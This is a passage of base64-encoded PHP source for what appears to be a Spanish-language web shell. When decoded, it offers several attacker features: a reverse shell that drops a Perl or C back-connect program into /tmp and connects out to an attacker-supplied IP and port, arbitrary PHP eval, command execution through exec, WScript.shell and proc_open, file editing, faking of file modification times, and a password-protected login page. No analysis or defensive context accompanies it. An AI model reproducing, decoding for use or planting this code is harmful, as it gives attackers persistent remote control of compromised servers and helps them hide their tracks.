UgwTkNpQnpkSEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNESW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwIi4NCg0KCQkiT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KDQoNCg0KCWlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7DQoNCgkJaWYgKCR1c2UgPT0gJ3BlcmwnKSB7DQoNCgkJCWNmKCcvdG1wL2FuZ2VsX2JjJywkYmFja19jb25uZWN0KTsNCg0KCQkJJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWNmKCcvdG1wL2FuZ2VsX2JjLmMnLCRiYWNrX2Nvbm5lY3RfYyk7DQoNCgkJCSRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsNCg0KCQkJQHVubGluaygnL3RtcC9hbmdlbF9iYy5jJyk7DQoNCgkJCSRyZXMgPSBleGVjdXRlKCIvdG1wL2FuZ2VsX2JjICR5b3VyaXAgJHlvdXJwb3J0ICYiKTsNCg0KCQl9DQoNCgkJbSgiSW50ZW50YW5kbyBjb25lY3RhcnNlIGEgJHlvdXJpcCBwdWVydG8gJHlvdXJwb3J0IC4uLiIpOw0KDQoJfQ0KDQoNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTaGVsbCBpbnZlcnNhJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2JhY2tjb25uZWN0Jyk7DQoNCglwKCc8cD4nKTsNCg0KCXAoJ0lQOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoNCglwKCdQdWVydG86Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7DQoNCglwKCdVc2FyOicpOw0KDQoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9Pid1c2UnLCdvcHRpb24nPT4kdXNlZGIsJ3NlbGVjdGVkJz0+JHVzZSkpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N0YXJ0JywndmFsdWUnPT4nQ29uZWN0YXInLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KfS8vZW5kIHNxbCBiYWNrdXANCg0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZXZhbCcpIHsNCg0KCSRwaHBjb2RlID0gdHJpbSgkcGhwY29kZSk7DQoNCglpZigkcGhwY29kZSl7DQoNCgkJaWYgKCFwcmVnX21hdGNoKCcjPFw/I3NpJywgJHBocGNvZGUpKSB7DQoNCgkJCSRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iOw0KDQoJCX0NCg0KCQlldmFsKCI/Ii4iPiRwaHBjb2RlPD8iKTsNCg0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFamVjdXRhciBQSFAnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZXZhbCcpOw0KDQoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0VqZWN1dGFyIFBIUCcsJ25hbWUnPT4ncGhwY29kZScsICd2YWx1ZSc9PiRwaHBjb2RlKSk7DQoNCgkJZm9ybWZvb3RlcigpOw0KDQp9Ly9lbmQgZXZhbA0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdlZGl0ZmlsZScpIHsNCg0KCWlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7DQoNCgkJJGZwPUBmb3Blbigkb3BmaWxlLCdyJyk7DQoNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRvcGZpbGUpKTsNCg0KCQlAZmNsb3NlKCRmcCk7DQoNCgkJJGNvbnRlbnRzPWh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnRzKTsNCg0KCX0NCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhci9FZGl0YXInKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBcmNoaXZvIGFjdHVhbCAoaW1wb3J0YXIpJywnbmFtZSc9PidlZGl0ZmlsZW5hbWUnLCd2YWx1ZSc9PiRvcGZpbGUsJ25ld2xpbmUnPT4xKSk7DQoNCgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nQ29udGVuaWRvJywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVlJz0+JGNvbnRlbnRzKSk7DQoNCglmb3JtZm9vdGVyKCk7DQoNCgkNCg0KCWdvYmFjaygpOw0KDQoNCg0KfS8vZW5kIGVkaXRmaWxlDQoNCg0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ25ld3RpbWUnKSB7DQoNCgkkb3BmaWxlbXRpbWUgPSBAZmlsZW10aW1lKCRvcGZpbGUpOw0KDQoJLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoNCgkkY2FjaGVtb250aCA9IGFycmF5KCdFbmVybyc9PjEsJ0ZlYnJlcm8nPT4yLCdNYXJ6byc9PjMsJ0FicmlsJz0+NCwnTWF5byc9PjUsJ0p1bmlvJz0+NiwnSnVsaW8nPT43LCdBZ29zdG8nPT44LCdTZXB0aWVtYnJlJz0+OSwnT2N0dWJyZSc9PjEwLCdOb3ZpZW1icmUnPT4xMSwnRGljaWVtYnJlJz0+MTIpOw0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0FyY2hpdm8gY2xvbmFkbyBjb24gZmVjaGEnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOw0KDQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBbHRlcmFyIGFyY2hpdm8nLCduYW1lJz0+J2N1cmZpbGUnLCd2YWx1ZSc9PiRvcGZpbGUsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jaWEgKHJ1dGEpJywnbmFtZSc9Pid0YXJmaWxlJywnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsNCg0KCWZvcm1mb290ZXIoKTsNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidGZWNoYSBNb2RpZmljYWRvJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsNCg0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCg0KCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQXJjaGl2byBhY3R1YWwgKHJ1dGEpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOw0KDQoJcCgnPHA+SW5zdGVhZCAmcmFxdW87Jyk7DQoNCglwKCdBJiMxMjk7f286Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neWVhcicsJ3ZhbHVlJz0+ZGF0ZSgnWScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjQpKTsNCg0KCXAoJ01lczonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidtb250aCcsJ3ZhbHVlJz0+ZGF0ZSgnbScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsNCg0KCXAoJ0QmIzEyOTt/YTonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYXknLCd2YWx1ZSc9PmRhdGUoJ2QnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoNCglwKCdIb3JhOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoNCglwKCdNaW51dG86Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbWludXRlJywndmFsdWUnPT5kYXRlKCdpJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOw0KDQoJcCgnU2VndW5kbzonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7DQoNCglwKCc8L3A+Jyk7DQoNCglmb3JtZm9vdGVyKCk7DQoNCglnb2JhY2soKTsNCg0KfS8vZW5kIG5ld3RpbWUNCg0KDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc2hlbGwnKSB7DQoNCglpZiAoSVNfV0lOICYmIElTX0NPTSkgew0KDQoJCWlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsNCg0KCQkJJHNoZWxsPSBuZXcgQ09NKCdTaGVsbC5BcHBsaWNhdGlvbicpOw0KDQoJCQkkYSA9ICRzaGVsbC0+U2hlbGxFeGVjdXRlKCRwcm9ncmFtLCRwYXJhbWV0ZXIpOw0KDQoJCQltKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1Y2Nlc3MnIDogJ2ZhaWwnKSk7DQoNCgkJfQ0KDQoJCSEkcHJvZ3JhbSAmJiAkcHJvZ3JhbSA9ICdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUnOw0KDQoJCSEkcGFyYW1ldGVyICYmICRwYXJhbWV0ZXIgPSAnL2MgbmV0IHN0YXJ0ID4gJy5TQV9ST09ULidsb2cudHh0JzsNCg0KCQlmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRWplY3V0YXIgcHJvZ3JhbWEnKSk7DQoNCgkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7DQoNCgkJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQcm9ncmFtJywnbmFtZSc9Pidwcm9ncmFtJywndmFsdWUnPT4kcHJvZ3JhbSwnbmV3bGluZSc9PjEpKTsNCg0KCQlwKCc8cD4nKTsNCg0KCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BhcmFtZXRlcicsJ25hbWUnPT4ncGFyYW1ldGVyJywndmFsdWUnPT4kcGFyYW1ldGVyKSk7DQoNCgkJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOw0KDQoJCXAoJzwvcD4nKTsNCg0KCQlmb3JtZm9vdCgpOw0KDQoJfQ0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0VqZWN1dGFyIGNvbWFuZG8nKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsNCg0KCWlmIChJU19XSU4gJiYgSVNfQ09NKSB7DQoNCgkJJGV4ZWNmdW5jZGIgPSBhcnJheSgncGhwZnVuYyc9PidwaHBmdW5jJywnd3NjcmlwdCc9Pid3c2NyaXB0JywncHJvY19vcGVuJz0+J3Byb2Nfb3BlbicpOw0KDQoJCW1ha2VzZWxlY3QoYXJyYXkoJ3RpdGxlJz0+J1VzZTonLCduYW1lJz0+J2V4ZWNmdW5jJywnb3B0aW9uJz0+JGV4ZWNmdW5jZGIsJ3NlbGVjdGVkJz0+JGV4ZWNmdW5jLCduZXdsaW5lJz0+MSkpOw0KDQoJfQ0KDQoJcCgnPHA+Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0NvbWFuZG8nLCduYW1lJz0+J2NvbW1hbmQnLCd2YWx1ZSc9Pmh0bWxzcGVjaWFsY2hhcnMoJGNvbW1hbmQpKSk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0VqZWN1dGFyJykpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCglpZiAoJGNvbW1hbmQpIHsNCg0KCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOw0KDQoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7DQoNCgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7DQoNCgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsNCg0KCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsNCg0KCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsNCg0KCQkJZWNobyAkc3Ryb3V0cHV0Ow0KDQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsNCg0KCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoDQoNCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLA0KDQoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwNCg0KCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykNCg0KCQkJKTsNCg0KCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KDQoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoNCgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOw0KDQoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7DQoNCgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsNCg0KCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7DQoNCgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOw0KDQoJCQkJfQ0KDQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7DQoNCgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgew0KDQoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsNCg0KCQkJCX0NCg0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOw0KDQoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoNCgkJCX0NCg0KCQl9IGVsc2Ugew0KDQoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsNCg0KCQl9DQoNCgkJcCgnPC9wcmU+Jyk7DQoNCgl9DQoNCn0vL2VuZCBzaGVsbA0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7DQoNCgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7DQoNCgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsNCg0KCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsJDQoNCgkkaW5mbyA9IGFycmF5KA0KDQoJCTEgPT4gYXJyYXkoJ0hvcmEgU2Vydmlkb3InLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksDQoNCgkJMiA9PiBhcnJheSgnRG9taW5pbyBTZXJ2aWRvcicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLA0KDQoJCTMgPT4gYXJyYXkoJ0lQIFNlcnZpZG9yJyxnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSksDQoNCgkJNCA9PiBhcnJheSgnT1MgU2Vydmlkb3InLFBIUF9PUyksDQoNCgkJNSA9PiBhcnJheSgnT1MgQ2hhcnNldCBTZXJ2aWRvcicsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KDQoJCTYgPT4gYXJyYXkoJ1NvZnR3YXJlIFNlcnZpZG9yJywkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pLA0KDQoJCTcgPT4gYXJyYXkoJ1dlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksDQoNCgkJOCA9PiBhcnJheSgnTW9kbyBkZSBQSFAnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksDQoNCgkJOSA9PiBhcnJheSgnUnV0YSBTaGVsbCcsX19GSUxFX18pLA0KDQoNCg0KCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwNCg0KCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwNCg0KCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwNCg0KCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksDQoNCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksDQoNCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksDQoNCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLA0KDQoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksDQoNCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwNCg0KCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwNCg0KCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLA0KDQoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwNCg0KCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksDQoNCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLA0KDQoJKTsNCg0KDQoNCglpZigkcGhwdmFybmFtZSkgew0KDQoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOw0KDQoJfQ0KDQoNCg0KCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFbnRvcm5vIHNlcnZpZG9yJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3BocGVudicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidJbmdyZXNlIHVuIHBhcmFtZXRybyBQSFAoZWo6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOw0KDQoJZm9ybWZvb3RlcigpOw0KDQoNCg0KCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsNCg0KCWZvcigkYT0wOyRhPDI7JGErKykgew0KDQoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsNCg0KCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOw0KDQoJCWlmICgkYT09MCkgew0KDQoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7DQoNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoNCgkJCX0NCg0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgew0KDQoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsNCg0KCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCQlwKCc8L3VsPicpOw0KDQoJfQ0KDQp9Ly9lbmQgcGhwZW52DQoNCg0KDQplbHNlIHsNCg0KCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsNCg0KfQ0KDQoNCg0KPz4NCg0KPC90ZD48L3RyPjwvdGFibGU+DQoNCjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmO2JvcmRlci10b3A6MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZWVlOyI+DQoNCgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4NCg0KDQo8L2Rpdj4NCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQoNCg0KDQo8P3BocA0KDQoNCg0KZnVuY3Rpb24gbSgkbXNnKSB7DQoNCgllY2hvICc8ZGl2IHN0eWxlPSJiYWNrZ3JvdW5kOiNmMWYxZjE7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3BhZGRpbmc6MTVweDtmb250OjE0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsiPic7DQoNCgllY2hvICRtc2c7DQoNCgllY2hvICc8L2Rpdj4nOw0KDQp9DQoNCmZ1bmN0aW9uIHNjb29raWUoJGtleSwgJHZhbHVlLCAkbGlmZSA9IDAsICRwcmVmaXggPSAxKSB7DQoNCglnbG9iYWwgJGFkbWluLCAkdGltZXN0YW1wLCAkX1NFUlZFUjsNCg0KCSRrZXkgPSAoJHByZWZpeCA/ICRhZG1pblsnY29va2llcHJlJ10gOiAnJykuJGtleTsNCg0KCSRsaWZlID0gJGxpZmUgPyAkbGlmZSA6ICRhZG1pblsnY29va2llbGlmZSddOw0KDQoJJHVzZXBvcnQgPSAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAxIDogMDsNCg0KCXNldGNvb2tpZSgka2V5LCAkdmFsdWUsICR0aW1lc3RhbXArJGxpZmUsICRhZG1pblsnY29va2llcGF0aCddLCAkYWRtaW5bJ2Nvb2tpZWRvbWFpbiddLCAkdXNlcG9ydCk7DQoNCn0JDQoNCmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgew0KDQoJJG11bHRpcGFnZSA9ICcnOw0KDQoJaWYoJG51bSA+ICRwZXJwYWdlKSB7DQoNCgkJJHBhZ2UgPSAxMDsNCg0KCQkkb2Zmc2V0ID0gNTsNCg0KCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOw0KDQoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7DQoNCgkJCSRmcm9tID0gMTsNCg0KCQkJJHRvID0gJHBhZ2VzOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0Ow0KDQoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7DQoNCgkJCWlmKCRmcm9tIDwgMSkgew0KDQoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207DQoNCgkJCQkkZnJvbSA9IDE7DQoNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KDQoJCQkJCSR0byA9ICRwYWdlOw0KDQoJCQkJfQ0KDQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsNCg0KCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87DQoNCgkJCQkkdG8gPSAkcGFnZXM7DQoNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KDQoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5QcmltZXJhPC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5BbnRlcmlvcjwvYT4gJyA6ICcnKTsNCg0KCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7DQoNCgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsNCg0KCQl9DQoNCgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5TaWd1aWVudGU8L2E+JyA6ICcnKS4oJHRvIDwgJHBhZ2VzID8gJyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgJy4kcGFnZXMuJyk7Ij5VbHRpbWE8L2E+JyA6ICcnKTsNCg0KCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOw0KDQoJfQ0KDQoJcmV0dXJuICRtdWx0aXBhZ2U7DQoNCn0NCg0KLy8gJiMxMjk7fyYjMTI5O38mIzE4OTsmIzEyOTt/JiMxMjk7fyYjMTI5O38NCg0KZnVuY3Rpb24gbG9naW5wYWdlKCkgew0KDQo/Pg0KDQoJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KCWlucHV0IHtmb250OjExcHggVmVyZGFuYTtCQUNLR1JPVU5EOiAjRkZGRkZGO2hlaWdodDogMThweDtib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30NCg0KCTwvc3R5bGU+DQoNCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCg0KCTxzcGFuIHN0eWxlPSJmb250OjExcHggVmVyZGFuYTsiPlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+DQoNCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50cmFyIj4NCg0KCTwvZm9ybT4NCg0KPD9waHANCg0KCWV4aXQ7DQoNCn0vL2VuZCBsb2dpbnBhZ2UoKQ0KDQoNCg0KZnVuY3Rpb24gZXhlY3V0ZSgkY2ZlKSB7DQoNCgkkcmVzID0gJyc7DQoNCglpZiAoJGNmZSkgew0KDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoNCgkJCUBleGVjKCRj